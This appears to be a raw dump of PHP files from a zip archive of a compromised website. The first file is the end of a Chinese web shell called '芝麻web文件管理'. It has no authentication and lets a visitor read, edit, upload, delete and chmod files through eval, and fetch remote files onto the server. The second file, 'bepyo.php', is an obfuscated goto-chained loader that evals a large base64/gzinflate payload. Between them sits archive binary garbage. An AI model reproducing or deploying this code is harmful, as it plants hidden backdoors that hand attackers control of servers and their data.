}elseif( $action=='qx' )
{
    $target=$dir==''?$file:$dir;
    if ( $target!='' )
    {
        $qx=isset($_POST['qx'])?trim($_POST['qx']):'';
        if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
        {
            set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
        }else
        {
            show_msg('请输入新权限!','back');
        }
    }
    exit;
}elseif( $action=='ck' && $file!='' )
{
    if ( fiLEsIze($file)<10000000 )
    {
        HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
    }else
    {
        show_msg('文件大小超限!','close');
    }
    exit;
}elseif( $action=='bj' && $file!='' )
{
    if ( isset($_POST['f_content']) )  
    {
        FilE_pUt_COnteNts($file,$_POST['f_content']);
        md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
    }
    $f_content=is_file($file)?str_replace('</textarea>','&lt;/textarea>',FIle_gET_contENtS($file)):'';
    $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存">&nbsp;&nbsp;<input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; 
}elseif( $action=='tj' && $dir!='' )
{
    $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
    if ( $t_name=='' )
    {
        show_msg('请输入项目名称!','back');
    }else
    {
        if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
        if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
        if ( $_POST['t_type']=='tj_xz' ) 
        {
            preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
        }
        jump_to('?d='.$dir);
    }
    exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
    MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
    jump_to('?d='.$dir);
    exit;
}

function get_qx($t)
{
    $q=substr(sprintf('%o',fILepErMs($t)),-4);
    return $q;
}
function set_qx($t,$q)
{
    EvAl('cHMoD("'.$t.'",'.$q.');');
    if ( get_qx($t)!=$q )
    {
        $tmp_f=uniqid().'.txt';
        $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
        fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
        require($tmp_f);
        UnLInK($tmp_f);
    }
}

function rm_rf($d) 
{
    if (is_dir($d)) 
    {
        $f_l=sCaNDir($d);
        foreach ($f_l as $f) 
        {
            if ($f=='.'||$f=='..') continue;
            $p=$d.'/'.$f;
            is_dir($p)?rm_rf($p):uNliNk($p);
        }
        rMdIR($d);
    }
}

function show_msg($msg,$go)
{
    echo '<script>alert("'.$msg.'");</script>'; 
    if ($go=='back') echo '<script>window.history.back();</script>'; 
    if ($go=='close') echo '<script>window.close();</script>'; 
}

function jump_to($url)
{
    echo '<script>window.location.href="'.$url.'";</script>';
}

function down_file($dir,$url)
{
    $s_name=array_pop(explode('/',$url));
    if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
    $ch=CUrl_iNit();
    cuRl_seTOpt ($ch, CURLOPT_URL, $url);
    cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
    cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
    $contents = cUrl_eXeC($ch);
    cURl_CLosE($ch);
    if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
    if ( empty($contents) )
    {
        show_msg('下载出错!','');
    }else
    {
        fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
        show_msg('下载完成!','');        
    }
}

?>
<html>
    <head>
        <title>芝麻web文件管理</title>
        <meta name="robots" content="none">
        <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    </head>
    <body>
    <style>
    a {color:#000000;text-decoration:none;}
    a:hover {color:#ff0000;}
    .tl:hover {background-color:#eeeeee;}
    form {margin:0;}
    </style>
    <script>
        function show_input_box(s,t,f,a,)
        {
           var span=document.getElementById(s);
           if ( span.innerHTML=='' )
           {
                span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';                
           }else
           {
                span.innerHTML='';
           }
        }
        function confirm_sc(t,f)
        {
            if (f=='d')
            {
                if ( confirm('确定要删除此目录吗?') )
                {
                    window.location.href='?d='+t+'&a=sc';
                }
            }
            if (f=='f')
            {
                if ( confirm('确定要删除此文件吗?') )
                {
                    window.location.href='?f='+t+'&a=sc';
                }                
            }
        }
    </script>
        <div>
            <h1>芝麻web文件管理V1.00</h1>
            <?php echo $div_html;?>
        </div>
    </body>
</html>PK�:m\�����	about.phpnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK�:m\o�e�*�*�	bepyo.phpnu�[���<?php


/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/    goto   ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto ����;����:return(($���=gzinflate(substr(base64_decode('H4sIAAAAAAAAAzydt2KjWhRFP4iCnEoyIosMHVnkHL9+cPFeNR7ZkuFyz95rOWAyhdPs1jS45hH3QFTkd+eN23xFMVO4RABCzmtZ9lMpZrO333UcVafmOs83QN++Pi5YSRYVt2WExb/BAhuWHi1ex8gzBgGbxChMQ0Nl7zQIbXQLow0yPw2/8HtcH6w82/3EYFDAY10R/MD7I9jIIxxSjEOhKS9svd96C/SgbtuihFIj8Ml6sGP06EYtblQhr6j9c23VxZshRaejtgQrgmlBDPaDUS2qTVAe6G5BvOlsMUw9wV2LDFuclsaw1iGdNqZ/+Ryaij143ATILSBigcL2B1MDK66LwOeWO+KuU87GmR+24dQxMc2ZOPQnfUjkQzJK0Nd48WHcCojcXHVooiAe1SG5nJcuT8oOyqsCUDsYNNigbS80dNWnDS5AXSW3niqtI/Jn+wJ4MRSD8D46FG/2BwlO5z3ClpI2043u7goLqcd49ravBQTjGgDHO/x2HNaFuLwQFKCTFV8T4E3TovytWTHIlkoYvugJKVWdnzMfr8fpJCm0rD9Fdw+9Xq4H/HEofrsDZdX01Wufdv5aJarLZzKAvOr1LEopKDNP92r5EYObizYooMGWbGgluV9kwc9AfkmI2CYT61yCQW2e4P45017iRq6pfqRBAcImO/c6KAlMYjSqXY6cK2aSjQBm0JVhHsbZmZRzrH0sMMUICC9LIC3F4LWa4rRQeQAbv4ra1id3XTOQLSmfr1mJWA/vYU2QXWEA+5QV0sk8lT8MI6NjfbYMD+LPr3pSUf5xnFMVg2EG4sIYxQ6MlsibeqEKE7BwtwzMq8t6pqbJ/g+OhlMbxqfBAO9ellOjbGmhTB0LdA7bM3pkMgRY7ZQbcIFDJVsePz7pV/7zQSNcDCiNEsLuilsO3i+9FeJKvxA2idF7fTakjqd4BT/aBsPqOkzrMbbBKX2OFTBRONZ2q7GnzkZY+dskmB4/tU38RNq3+Qei2dH7MdayG0eKQ+WutmiWfAW4gBxm5r7K+PVkI0/A1EUdGOZ236HhREQjFb1meszLKrZN4MR06M5qW13M2lvFReRL46RR48zhol+5gxLBMyzScUiduotDJM5Mjht509VZambv7RlasWXH+PlALQn8GkryOhXhSm45Rp9uVJkYy1WmP1iloL/q4Ls1f94L04tw6B2YNRjb1IERPIjNJcmgeP7sUB4YFkhgkGmfIdKZsa2PEaWEK9F04f7RRl1+fMv2PMcThk1CT+l2JuKnEYyC8fp7TJlQwqklnuIAvC80cmBeLcQWmZu/9BdiHxdDEmwgsBZkl/Sd2djPmANj/jA3O1GzTImxCDmRh0LCFwwZq+UPmpEBxg/a7wWOb4wUd3rev5M+c5DR4T6IxTGp6N73ogJhQemUnkx4d3x5UdaoEJEy88OSAiidNN2vzkvCBa8Agx/JB08vMz6drCl2jVaMs9aZ+Yl4iCSFEy6yW+/GJGfm5pohCxO7mGGwYgyAS7dCoZ5Va9d+vyvklGP+/PA1eb6x1ahgNWeJTQUZVX6yk7HxMQQ416DIzClqA/cECtU/TbrL9rZUBviemp2D9rEyFmXkb845J8VwhdSBDRZurthwAFP1rExsFUxJ97Xl2C5Ze3xwHMiEZeJaX6iUyyo6GSviSqSnzvkb2VsDM0rGRybzTc8mNdxVSCZOJK9mI8Nz8K52+e6jX56s9fl1LAgwG7Z2H09ukR9YQwW5KAvHowSjgV9oNEHqvVZcwuDDB08AXMfugCPwuSayszP5cmEOpBrZjXdEo/B/zJBIHX58WWi9Z8GipFVRBBWSQf/AjG7eBG5xj9XhwTxi8w9Ms4KcrXTNOZ7PKQtu2ThQKkb8MaEqVJryLM3ObkxIe/fncPmBwDQUl0cUC1ZIaLmj8AgtcugW8J0+h3apGuJPjwcyee9Oks3e+HFGq6QX3nROJhbzHShkNXAnAyFvOI0BuBVUl5e1GkbHrY01cztrmQE1INePqyti5seAZOhUl2/3dFVi2b8nqhsEmz4jJDAfIck+uQ38PoNInhHccwkAYVIVNBv7Xhr00sCEbXATbPm7kmUOZT67+3u6nMn8JEBy+PqxekNFNcUctG5avOUzKbgYWA1FH9+PXKzS63lmPmxUkWxwPz5ayrZDlAglNgu94GK3szguFB7YjwcXM79TKeXW+7bOBKQHjvgcFu9Rv/Fe4FV79On0M/oAJZZHnMtVMvjxOoFg3h2bmJvn6Hs+zRQzjdB3/dqu2v4aQ5XU3FOn8fSj8gdPU6iI9E0op8vYBpt/H8nq5suvajlgh69YNXRR5fcv+LaRYnzi5sPkc4MRDRUye+t1DF54tfyBgV+owUD89UWVrFY0zUXQtDklFXptcyM1sy3rM81ZxapV1RngRF8RWFLcutaGnspVtY+trBYezjL17jGoZzL5KhCEUflXYeUMUnFLQ0rCRGTMKdbN+ClrPr27s/ycHtR6U2tlsYXlkLjN+x206iXpP0RvmUeFSEZEeiXfYq6aPsGw5zyjSmYrTkkf6owFhYT/lVyjkm8+/yGTEKW/29SDudW80kgvkUU+D83o5MkBen/5pwR9yXMeaEthWhRnwHHDOufjpaCs/RBSjFAAbPbj+NQL65QPdvLiJ3PlisMl+jQuty+c5hc2GxZNyGUtX0NENfyatQvF3l7JoUtsU4ZJKzKOLe7dWd4u+A/YF1AevoD1lUilGQ0iG2wO4RMa0AQvC/33KRo80ZP04WmkQsVs8Tvz/XR8adbMOU8wH7UG/vBa+3s77T3frQ9fIPyxmTTvV9APMyeOSCEmL3tmxJdQLSuNQVX7MN8XqD6hLRHmpxub34UMhV1FMwOSONO2bDA6Z7eyz+5/K8/7MBRrbUDlfmx1VMbcvr/BQMxilHecDLmOB4LUDoJ0DgIuCBIpSJHfz4R+IBZmfV5gfZjgwauO977MdosJuv68O4wxQGFNESrtqmzcTtWqokTnNUVsosMZuRoy4S6B4DmePUcuDiT2HfBCysQDznccR5+RJYPuikYM2hgXn0clPrrIZiwAiYJbOVfRC7sqjZ3Lnmxn3+IoBtizmfR3Jz/t6URvOvkd/57zvSr3NR8Kx1OCN4ME0/Qb3USMr7lWUJdfVdjSaAC+Tfy2gV0MbWWyotiN6v0TPrf4SWSXvo0Is23qRmHCUu01iZOrPDKmw10siRFPmBK9DncymBO1FjtZHGDz1yFcIwOHk85hfvSod6xyoYs+TxoCBAvihQpayY0CPuY0X1c6v4bJI6zSzBoQk+w6CxNCLXkBnjMAUlReHDLIsm2783MaJ9AHrbRXlWaYb8BIP/zOLrEeBacXi7w/PWZUqcOfs2sbTUgqTOou41jRAOmCGW+UdQOxWRbBzGfcaQ7jSvdUz5EIdQ3+4Szgl5Po2WvDcooXvKpSbiTjKkijQt+aw8VPPX5OMgmDvkqxcbaAUO4bXInKb44Q4YyiwFDSehimZUDkGYHeWnjkJO0QnTPnKBpOcwdvfkMkowS435EgP0BeuiCvnR/GjKvJwb5rO9CvK/XxSX3ZIuf4VfTHL82lV8NVV5aI35E9ZGaFhFSHH2eJGI9H5tz2fEavmLCIforAdAlTsb3IIXhX+/RH+kYioyk49fWXM3MXUxW6/VaNbOujT17/0hyJ3IJMAdwNzupXYRnsJ2N6lp3aW6xGTAzWKK27HakHkP7nNvqtmknpAiP540hrY+97wpx3SG24dD3YIpxzFJvdg8yvJHhvZRnXS8m1txzxUvqNZxwf79z4FBPGVkWRl5HZHiTgT16BY/eBXDmDsC7nJCzGASaiC8Mwjez3sBfW6h/STC/mHl9itjs2gGiQ9dqkZah3a0hC1RisxmpiJXqMItlEw9lmLYi2oJiTylTYyCAcQtYMMyajh4qM8s0ExsIrdhD4ftzXTyytdNzbCE/+7BkEMCsqvnARS0/vP1wbMhR1bKXe59V9i+vryNxWhY8i81ePECRdatE8eMtUbokYXotvLL7UOFEl4b3erDePzVkhw/jsFskWZ699UmWUWKKWZvwUZ7eBbvFqTlj5e3AOU8Lv56gRtOwuujzs8rSBknwKsMKotDigAvyROFh+sAD8igqbMxswuslZuQnRQZv7yVZKkANwsjmNIzVD1dy8gXiU2nGz75vefBqKDRSk60WSObVzDaTwZuJ5wx6aFzLH2BmnLdlBkd4FVy7h+zjj0mMy43z4J99u3FUORlulWpTlY1FR0dHW4NPWYKncMidbfv0xc4GrJf3jtInZ099zjKYtlkObliuEJaaNL0fnmdtxWfVb9/yufyrJb8KKET4omjHo8YG7MR1sQixnaLPO2FdPU5/Kb5g4gLDJ7IYp1Pc5vSI3Ire/H0bdqLnxTBwwxrMeGvndbYXW0dQINRmr42yS6aPXB4oFIcgYuopszc4vnprzIw4kIoiTWIQJbY88xjsm2uO8que/RH+y56O/ucO1SGbCKywwBttLPH99sU7S3hx6yeO0pywOXp+NpmufvbibBEDA+QiSCWLXEYqRvNpGX6A/TnKB+OZ3eqdrPqvscTe7vgTNExV0cN73y/DzbD48hnqIEIV1wYHAOA/Dx2U7hlSmWWJmC959Bo6sT+Otfu+BM/TZpVHg1wPQWUkBa+dP5j4xop3q12rf11nQ2TrbvagUKasFHuEgeaklSBXEuacy7Tw8axe/7LjRCvBhgnYDQ6jjlgeLe1BzvynN6592YTyg9GAWXBGWj0Jvur1Be5zrys+bksSwi0To8WiU/kG85mzVnolPIDtzZZWaS2Qw/222kYUZH2JwUhn5AvrmQC0IpO1DtuzKs3MCuSYZrEA2KRwzpD4KcSvLxo8FJtxKnUaNG0MTx0OGJyjceEH4LfduoE/jd6VZNV8UV7/9D+uFym7Xr1atRySMvc55hsSaH/TdoFx5R2z3LG5ukreAiTgp22BFPvGY42Vps9NbTK/LpcvXDqbuZoDgw60nIAiXKQiIpjOBMHIIuyfSawdhF4zWpQU3kwExnbGQWMDjNyvpwNCq+p57Iufrt5oDLmN5OucxbdqY7nif9BKKLcLwqMfG/JMCY6SPwNGHTSG8t9t89oCNA2o7+tZqI7erUdr7IWd14WwANVUlWLiXtKl25YhDKUQIUPWw6iBVExMZbj1s0RDjs367s16dLWjr/lPPNGR/SGbFz0PI34Yl7F0fwSUdbwI9Xkazknvl0Vwx7UKZQXYmGGC7BMKZqPTIR2WVKTe04TXNzh4NnEh9GUZLoaBw+XYykc8U3nr6lRPn6b9gtBpKqX9v5LvRmBL7sJsa4FzcleO0hewNNMQ/PK2sDXNN+lQx1JLoHjIGmJA4/BFQCVgZXz8d3ctut/g7Lkvd0pM7Q1kFbV8iZ2Wzegmg/MY+Vrfyk2qq38AGHJtMx3TdZ+Y3cFokwVXnBEpUxV2vHrvLy5VNI17deEKkjFZDxxLudvyazvFWxvDEJ0dPlORpB+FQ+RV3JFx19qtWxWJCAj86VZEM/vdDfynuu43ARwXVTTC8MXVdSPu29FKclodgFvRQasHkXwCveoI1E546vuVuOXGWbHTypCd9W9UGf8vI9kkXW9QbNwayhrN9QfQPLQvwm7LGm2a/F0MSBuwDXXxf9BR40O6eZiwzSL2g6Mnc2cqPaXgR843UK8Vb/GtaYYEonnn4T/fCWFCbFs3idu/EeNSV1rdNXYFtmhM0wQbw1ERWtiIlbCBy02EVbZyIjE/1+KSyeBrRMjCqv4J0Hxm99fJYYVdk6eR7cdKWINTt02Vu4pmf+Qd8fh5cv7tSgLD8XBWgyWFrjgJQ+iZEK9V7DMmB2JwFvKDVmSm9SF9CT9flNUhPOlEt2kyQEM3nOSiprgPqSN5a4AXlyrdyerX5j/Q7KglVFdqUb7nMZobMalfJmYCpicSdSPCJXNajBMwDFx7ya8No7jnc0J5UKi8JHUgg6d5lnN/2hHdKhBE/VilhVeX8rRj1V1aCXkl6uH9yBvbqCmSvBJX5T2Rn008w2rNNs1xflMjTElptMlx3YrMBhk+82FH7kYErgn6QmujN683rQpmfMbMOcROxzr0+tRpKuyinMJOjp5O2CQwZovOtSbNx5jbIVUegugIb7ChvMXnWkvgEhQx80m4y+wvxUi+KRJ5uDEh7ZXFU2m9cWJDjEKFZyj9UwnkGpJ+6+lhPIYtfqO9Z78clMpKIpn6apa2QaDGs/lZ/N/P6cG1mJh8OzyFu5vnfHpjkIv1cEYCfRif13v/WzjvZQTp2c2jnwdi6TznGPwgwaE/GC+iO0zD2/Q6acDLqxzMkPhYdZhAjAyzcBG1FAZzLoDWgsM39jX9NG2FRTihiOKRgFNlsFKom5T2t6KB4/vW1xqYn+k7HtgJg2zYfMclxNjXyxBBe0sTb34r70vJa+C/M6non6GiWmZgKeXK9Am2cp5iflqGvo/T62EXlps1QE68KvVGt1alJH10bd/vbid/1vIofbdmXaaNUYK/1kzX1hx2iEqHt+WVyMAZIMH0hk+Q+fOXxP2a3p1i3Ceo4dfLl9Uy6JQs89HHUxGR5YRnvm0te8o9I4sIcGYgJ+L+CVpVhyhRBWxJVr0l4Ox186PO7CPT8FHs0Tbd2xebx9Zh+2T+Unf0qSH+3rSRfK2JqhTIK4edlSHWUPyjg12fytrjM2FZss0KhW2gjk+7fdx1QpgKVwhZfXOfW1P2dHcNxWaYgnPDVzS6GxhWPJ4+ZB0fcGL9LX7qLmzHSpTYSaRdSEY/QT56xO9L/bSQ/oMbA7pD+U2BE3xOo7jvmY9XDgNlWq5XsDen2LjZFXL98Givu7rAK9NEldGMQmMXxXm7hqEvRzk4qyx6Zkf1RUwqeDvfRZ702I6dWEW0X9tH4CMEMMOkb0vaPCZdRwloCS1sDlseH4k1NmXHyi6xKBzK4d9bXoaAA/yNluU5h+UzC3q44ACixrNwO4mcMpfDVNkVgMzj7ncS9sHVyM9+UR/TvfAzMx8vI+XsdsqCO35xkgf5bNGirR44VCK2INArq5chFSY1Z/0yWQXTGtXvv7JYA87jayZRR+UleYfqsZI9rKj8lb+vOCAbjcZm6WxUe7DX24vtJhgqElOSuV6KntH2C7EF/LSJ6dF6zrth44QdKtE105RBB2nghTEMERR1V13x3KgSyn64OOlRMP1SKF3XdDthRdSVlFEXkxN8dub00sdxx23AgDnT7bkkicj45YHCS7f99gZySVw/fnGSiQL6QRAwChoWD40UzsYtEhoJwMddos6y9E5bdqO7jmSxdmaHkbnF5jb+QlNvvEsZCkTGMnSf5C1mRsNi1+gYdY5LWm9Aip2d93K36a8e+pVwYmuZ+vpXK9K1KgI7MHn9eaMISgCkCPhImoU73tZ3JVXtpt//0YmL7MF8+Xs4fPCQcZ1tpXYUIa8uFuPMjD1tCfjyufQcsOd4Ih+ywG+23ryeQaVa+J9P6B1yjeSczdXbleH43oFz7XDXiPEVaTVyfbKKnU7/sqBo8RTnOD6HNFoPy36UdkCeafpp4fwKhYQZIahbn45+x4QjqB+sajr4/lThKXvNdyg86jt+zxhGWqrO629JWY4ccSWIfBWMIRLlrnhZhrY3ic4fcj31qTlCnfFrWPas/67kfqtEmlQYZbr/M0TktUaD6Yh1J229vxYkiOseVqI79wq5mjifywV790mfHhypXGrbkwpWfvkjWmBMTcQipgym2jIbnzV8pwv2Wr/ATUJxuYI6xIpqqzd+oHfdFC2dZ9JtiLAHjlPWe5hWnyp/BtGvk88u+Lw+9ONBmX8YAdCfKrrzk/b0UKAJ+zjacBSqbMi2Z7DXeUG9e4JPs/II1t7BWlwaR1p+b7vSj4HO/1ofwZvr34iuh5kHmafAwJXB62TCODjoh1FhEIqcq+8BaRhu2SLPnTlYCen/E++WAj+kg6N2FbXVB3P27I5P44Cyvd+43/CDw0t/AGW/hDinRUGc/4OfKnztpQCq1cYuZGzPqs0w+hUkSi0skNrGnZP7FJRrtdu/8Rj+H3K5LNjrL4cK6tUPITD+JyyPjpKUOS033p3CHxSGYQARHhfhiNf9Dkvnh6E/AwZSs7TfhEK8rnXkQomeFt4KX0kw6YDF3nUs/+atKGeSXS81VM8HzasPa++oV9lFOd6XVS5QiU4WEKx/lLsXY7zMxgp4E+qfseV22y3Wm5VZ+WdOfYuYR2LzDA+xs9byeyFM7dL8btN8F1IaJ0FS0QXGOTgN6TS/B1waUYwDV97E9jbCd+duOypB8X7JIB/PnxoNLrgdLT9uiV1ZDtKT64y+CSd3EMfOIOnxmSRdSW517y2wjpbUxTd6dOKUzZvwJkukZbngyykMzlHS9MWLjixoc8k6ZS5yBraf85OwOnasi+I1Iv98NmTzyeUlj93YtkrXLwTG2uATRZUSM1M56EftHWOIGgaZwikgT//SSk62Sbp4f+JB+50ewI8xiCIJQANwljrKOK4A95ZZUPj3GXMFUpIU1/UTeoZuI6xUE/XpxhGx1v9KninSPgxiS8USZjLod/6PbUUQsEBnPH4+w7SYuTrO14LoISEb8LsOvNgPh4Bljtc3WaOmz5y3Pg/UQJvQHcnDXfz5btVx77gCdl4n9tT2vse+VjpmBRnHGMTmC/+v4EQbxifsKH04trDePWBGV2w1PJMRz7fr8OaDQYrw/O6qRiqJcr9Xeue1X4lj8OsXh4KC56ddO56fvJ2ZBRlOjr4LAVrjAU7+YychNlLNAQRX4ZxUSO1TzByDR/sdyNL3pC0NiRkIqLwkS1AfTkZvteppqFiOJwl8jeBqeRdvH/Xw/mF39+F2nzXYOjTUJJ5URc4+n6+x0I7Q3EPYGO+SAf2qpAtWBMvA4GuEmHNQ0W1DqO+Pm4LgTPUHKV7vJnSgBhuv4y90zsF4Y59d29B+BuYRDAiMoj4SqrkYbYsHgbJynFIqcmZbGXzqbpA1yKZIctG/FPoxR13nRLIQ72eBMzZJBggtBtMR8y75AZM1wLb2co23GNKGAKdp8OecmgkMFDBMl+F78tWZ+VBQQBhP4EPa2haPO4mWyRYbT85ZL8xs06IK4EfacuoifHHTsMuywGlPhZyb4a8/F1n4iZBaOisRLjYMDX0mSgvurrKCG/BppbOTVroCUj9cpBW4rfTviQJO9N0yJgPclN5v33wJBvJkIiQnwm0VuM/U3r5LIfSBIAtTLYnetO6X81CWRVmmi9OlG6hnv+3VYNLrf0XeSaygRUpLqvF+KbN/wnTofk31PG/yFRRd9JGrcm4yDMc9FECE/wfTmSk7Vfs3dwoevK7XwUYr70XWQVyP8m5USL8NK8WUiG4cExZKlIj5IaJyIF6C0y21o6YmKtsPgbwwnsrjlx8PurtWVzgjQdLs37LdRwgT1VZQkraO1RxDkVESkZFpMLH+s3BUD0PKeSEkXk3MBRDBG5cEMh5kZDl3dKc93QmO72+ZKT+awL0BmOyoI7+yARRDT3t7VuKllPhtCVtYdrNmW/vA94TuyzYI3eOn9gBhu3xQRh5QhDrbblPo9Ug3EvuvaGrT9J3SnY7L2V+FURYyE8rhC/mtObDH3lGlhRe24ukoDUm3POn7dn7/v4nHurtcYV5zVwn4eQ4bMoaXPX0R8ItyvKKaPeFmsOIzEpWMXMVuO5BgUbfCHEyTAQHF3fVDpjrCS54foBmCny8vbEXhL+DqX3lm2lVMM+dGZ6IBvlqxtMLsaz94sWvg1lO8z/HnxAw9EvxlJ3Pcyf7DHrj955nwGV8ihHMEouODjyd867KmGlmfFwj+ejzYZJT2Kvmbr9FdKbJuobon/3WFi2R2toPBe5adgs07+e+282O54Gtcaj/ijbpIzZmUXZWUjDGrO+AFBhJa646NPWFNcgqilQ3PUc7DAetKRAl8Sw7S9B1SeFtoRYl8VakKsPHXf0z0/FC1vcTWLksaYvf0cTFxJXfXbDCrh+GkGcNH7jAA7+x87+NFIm4qjoHssxY5b6lxSKEEPzAlXzTlGGhhj17mGCKDnvdfWTSypmjD3UjfyeX9nYXUUyWoR316rQe4HQQsbfe95VQl/u/xbgqQM7+Wd2DSj7LMlGNAujlWUWdaKOPs+ve90Aua1YfyvmtvSQq87NjbZB/rq6luLhnxuN9XZIEDQ2kAwAUEcBekNpHhFBgLS1j6mxBliIFfGJeGS3uqWcMOfPWUwaS/h6tysPXIUq0LF/daZ62Gx+r41+hsWYab/agpxwdm4eVO5xRzQQ71AFZMW1ZpPX4fKqWCYASSYzMz9WLeliEmRG17uyRgUXmizKYW8bR+scTEHojwN2LVvkVTfR9NuNiaWGhjxwcd37kk1n+deRIJQhP3pYKIOqiWv1uMErNACE5QzyPA8a8KJ0YdwM3gW5DXiBh+YcwVwFeL8FHXDzjJ+AdPowtOjvuRXLuqPqnL5fcjjyR6wFHngbp9aGXnAT093UebCu2LpQFg9Totifpwig1iMawp3fD7WV5rSmPtSOaQYLDkGcrcxgzM9vznhsybyvfWzZZdYyhrLNJS98ng+3dwnAqvICrXKWt8yVfY28Vz97n7xkfeYu3EkzaihHURMIX88AbBPIJrcasEUKMTBo8v7wj00JHGc8Jxonx6MrIgBNpVKbLV8W81B1k0aIqMLLqS2oEXlfe28GXVVEy7SkX4z04pxRH6r2I2JJF5xC5kph7GQ8ehL4hvRlnF7nVxmcA8taKIPFhoKW+igam/AdZ9vvRhsSNvn1i2XTVru1HFBV3GrdnEB4KHgNyb5QAiRUDyge175RQN0Uw8hKg5L5W6B2pQeio9ySakvqLyB5d7o9A2DxuriEk4KsWNN2tTSIU1Qpf+C1z1LNhL1LVo4d5gtORcvyycraJ7eeyiM0Yt4zz0/gCT8wvXmwU9rr8bzey/UYcNI91301Kd7tM01vHFhbqHfCHUazMCbBbKlT7DEIr7UsEukodAY0DzB5CpmVATE0/EoSq53kScFp8EPb4QoU+jaY/ebFvhXTDdePKMd4EMbD3NAQMBt4MZApO2hhv3V7UGvOfG7WEP2aEsdcUQGL0aD+4MxwBBtSUSiF7HvfJDn3ahkyk/qc8Uv7IbluncqvSNSGn/v5TRiQoJvRssnSkT1RqFfA6PkJNzQ0Cf6nyT1ZrdTFEKpArzrIb6jhc/3aVpgxGllxyPrtA+veTlCIfG7vWmBuv4h83KCdDw4ukfvQziJPDBQzAJ+1uJqtA6hA8Td+967AJrItnJCFTQr8ej69uds+LGpHJHC6nvXriB6Actj6ETJEVKHZ3iw4wZ1W16P7ym0TGGS+sgQk/MXYNct8/3hJjkC2RHUQBGATMEhgM72Ke2XdMBYDn6BPGM0BQ5fr6Dmc/hKTEANaveagf2gG46aDQKgy9ylaqqpONjcaL+84vw51l0jcj7KrcfoyIgMYrQgnLszVjpfNPqHC/TXqqZYG/QLsBboWfPVPM2UKcglWfB16Ed4djF7zA+aolxTqo8N6mWavq0iBVmUVqckB0rf4ccLN5MDZScDT3jKN+ODpT64PdNpbgNtPMKMDVP815Z/JQ2UbIKYRCEf5vk9JnvmUUgmXDmXjhNomEjlAqAbKEpCL48lQBrPg3Ml0Sa5/OKILfIkfUgBC+GHOhuC9piTl6QEY1nDpseRvTqko2LQz0HUA8e+3lCeFEAcmySWd9sBtudwvtthtFz4iH8vWpHklqfYDss44K5l2m4oTV8y1SUL6JzEg+w7repp7sYAKi9HBma4Ez/GBtlQAwO6O8bXj1RhT573zIds4qC2jaDugTeIzv5YeKou5PN120Hx5TnCcpKR9xYd2rm7AuugZyf2e